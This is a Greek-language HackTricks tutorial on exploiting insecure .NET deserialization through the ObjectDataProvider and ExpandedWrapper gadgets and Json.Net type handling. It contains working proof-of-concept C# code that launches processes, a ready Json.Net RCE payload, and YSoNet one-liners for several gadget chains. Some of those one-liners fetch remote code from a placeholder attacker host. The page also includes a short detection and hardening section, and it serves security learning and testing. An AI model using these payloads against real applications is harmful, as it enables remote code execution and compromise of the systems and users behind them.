Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η ανάρτηση είναι αφιερωμένη στο να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider για να αποκτήσουμε RCE και πώς οι βιβλιοθήκες Serialization Json.Net και xmlSerializer μπορούν να κακοποιηθούν με αυτό το gadget.

ObjectDataProvider Gadget

Από την τεκμηρίωση: η κλάση ObjectDataProvider περιτυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης.
Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να περιτυλίξετε ένα αυθαίρετο αντικείμενο, να χρησιμοποιήσετε MethodParameters για να ορίσετε αυθαίρετες παραμέτρους, και στη συνέχεια να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.
Επομένως, το αυθαίρετο αντικείμενο θα εκτελέσει μια συνάρτηση με παραμέτρους ενώ αποσυμπιέζεται.

Πώς είναι αυτό δυνατό

Ο System.Windows.Data χώρος ονομάτων, που βρίσκεται μέσα στο PresentationFramework.dll στο C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.

Χρησιμοποιώντας dnSpy μπορείτε να εξετάσετε τον κώδικα της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Όπως μπορείτε να παρατηρήσετε, όταν οριστεί το MethodName, καλείται το base.Refresh(), ας ρίξουμε μια ματιά σε τι κάνει:

Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το this.BeginQuery(). Το BeginQuery έχει παρακαμφθεί από το ObjectDataProvider και αυτό είναι που κάνει:

Σημειώστε ότι στο τέλος του κώδικα καλεί το this.QueryWorke(null). Ας δούμε τι εκτελεί αυτό:

Σημειώστε ότι αυτό δεν είναι ο πλήρης κώδικας της συνάρτησης QueryWorker, αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας καλεί this.InvokeMethodOnInstance(out ex); αυτή είναι η γραμμή όπου καλείται η μέθοδος.

Αν θέλετε να ελέγξετε ότι απλά ορίζοντας το MethodName** θα εκτελείται**, μπορείτε να εκτελέσετε αυτόν τον κώδικα:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll προκειμένου να φορτώσετε System.Windows.Data

ExpandedWrapper

Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το object θα αποσυμπιεστεί ως μια ObjectDataProvider παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας GetType). Στη συνέχεια, θα έχει καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο στην ObjectDataProvider παρουσία (Process για παράδειγμα). Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ.

Αυτή η κλάση επιτρέπει να καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (ObjectDataProvider) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (ObjectDataProvider.MethodName και ObjectDataProvider.MethodParameters).
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να τυλίξουμε το ObjectDataProvider μέσα σε μια ExpandedWrapper παρουσία και όταν αποσυμπιεστεί αυτή η κλάση θα δημιουργήσει το OjectDataProvider αντικείμενο που θα εκτελέσει τη λειτουργία που υποδεικνύεται στο MethodName.

Μπορείτε να ελέγξετε αυτόν τον περιτυλιγμένο με τον ακόλουθο κώδικα:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Στη επίσημη ιστοσελίδα αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό σειριοποιητή JSON του Json.NET. Έτσι, αν μπορούσαμε να αποσειριοποιήσουμε το gadget ObjectDataProvider, θα μπορούσαμε να προκαλέσουμε μια RCE απλά αποσειριοποιώντας ένα αντικείμενο.

Παράδειγμα Json.Net

Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να σειριοποιήσετε/αποσειριοποιήσετε ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Κατάχρηση του Json.Net

Χρησιμοποιώντας ysoserial.net δημιούργησα την εκμετάλλευση:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Σε αυτόν τον κώδικα μπορείτε να δοκιμάσετε την εκμετάλλευση, απλώς εκτελέστε τον και θα δείτε ότι εκτελείται μια αριθμομηχανή:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από τις ΠΟΛΛΕΣ αλυσίδες gadget που μπορούν να εκμεταλλευτούν όταν μια εφαρμογή εκτελεί μη ασφαλή .NET deserialization. Σύγχρονα εργαλεία red-team όπως το YSoNet (και το παλαιότερο ysoserial.net) αυτοματοποιούν τη δημιουργία έτοιμων προς χρήση κακόβουλων γραφημάτων αντικειμένων για δεκάδες gadgets και μορφές serialization.

Παρακάτω είναι μια συμπυκνωμένη αναφορά των πιο χρήσιμων αλυσίδων που περιλαμβάνονται στο YSoNet μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateΔιαφθείρει την εγγραφή DelegateSerializationHolder έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε οποιαδήποτε μέθοδο που παρέχεται από τον επιτιθέμενο (π.χ. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorΕκμεταλλεύεται το System.Workflow.ComponentModel.ActivitySurrogateSelector για να παρακάμψει το φιλτράρισμα τύπων .NET ≥4.8 και να καλέσει απευθείας τον κατασκευαστή μιας παρεχόμενης κλάσης ή να συγκεντρώσει ένα αρχείο C# εν κινήσειBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourΕκμεταλλεύεται την παλαιά XML αναπαράσταση του System.Data.DataSet για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία <ColumnMapping> / <DataType> (προαιρετικά προσποιούμενος τη βιβλιοθήκη με --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsΣε εκτελέσιμα περιβάλλοντα WPF (> .NET 5) αλυσίδες property getters μέχρι να φτάσει στο System.CodeDom.Compiler.CompilerResults, στη συνέχεια συγκεντρώνει ή φορτώνει μια DLL που παρέχεται με -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Χρησιμοποιεί το WPF System.Windows.Data.ObjectDataProvider για να καλέσει μια αυθαίρετη στατική μέθοδο με ελεγχόμενα επιχειρήματα. Το YSoNet προσθέτει μια βολική παραλλαγή --xamlurl για να φιλοξενήσει το κακόβουλο XAML απομακρυσμέναBinaryFormatter, Json.NET, XAML, κ.ά.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Ενσωματώνει το ScriptBlock στο System.Management.Automation.PSObject που εκτελείται όταν το PowerShell αποδομεί το αντικείμενοPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Όλα τα payloads είναι γραμμένα στο stdout από προεπιλογή, καθιστώντας το απλό να τα στείλετε σε άλλα εργαλεία (π.χ. γεννήτριες ViewState, κωδικοποιητές base64, HTTP clients).

Building / Installing YSoNet

Εάν δεν υπάρχουν διαθέσιμες προ-συγκεντρωμένες εκδόσεις κάτω από Actions ➜ Artifacts / Releases, η παρακάτω PowerShell εντολή θα ρυθμίσει ένα περιβάλλον κατασκευής, θα κλωνοποιήσει το αποθετήριο και θα συγκεντρώσει τα πάντα σε Release mode:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Το συμπιεσμένο ysonet.exe μπορεί να βρεθεί κάτω από ysonet/bin/Release/.

Ανίχνευση & Σκληροποίηση

  • Ανιχνεύστε απροσδόκητες διεργασίες παιδιών του w3wp.exe, PowerShell.exe, ή οποιαδήποτε διεργασία αποδομεί δεδομένα που παρέχονται από τον χρήστη (π.χ. MessagePack, Json.NET).
  • Ενεργοποιήστε και επιβάλετε φιλτράρισμα τύπων (TypeFilterLevel = Full, προσαρμοσμένος SurrogateSelector, SerializationBinder, κ.λπ.) όποτε δεν μπορεί να αφαιρεθεί ο παλαιός BinaryFormatter / NetDataContractSerializer.
  • Όπου είναι δυνατόν, μεταναστεύστε σε System.Text.Json ή DataContractJsonSerializer με μετατροπείς βασισμένους σε λευκή λίστα.
  • Εμποδίστε επικίνδυνες βιβλιοθήκες WPF (PresentationFramework, System.Workflow.*) να φορτώνονται σε διαδικασίες ιστού που δεν θα έπρεπε ποτέ να τις χρειάζονται.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks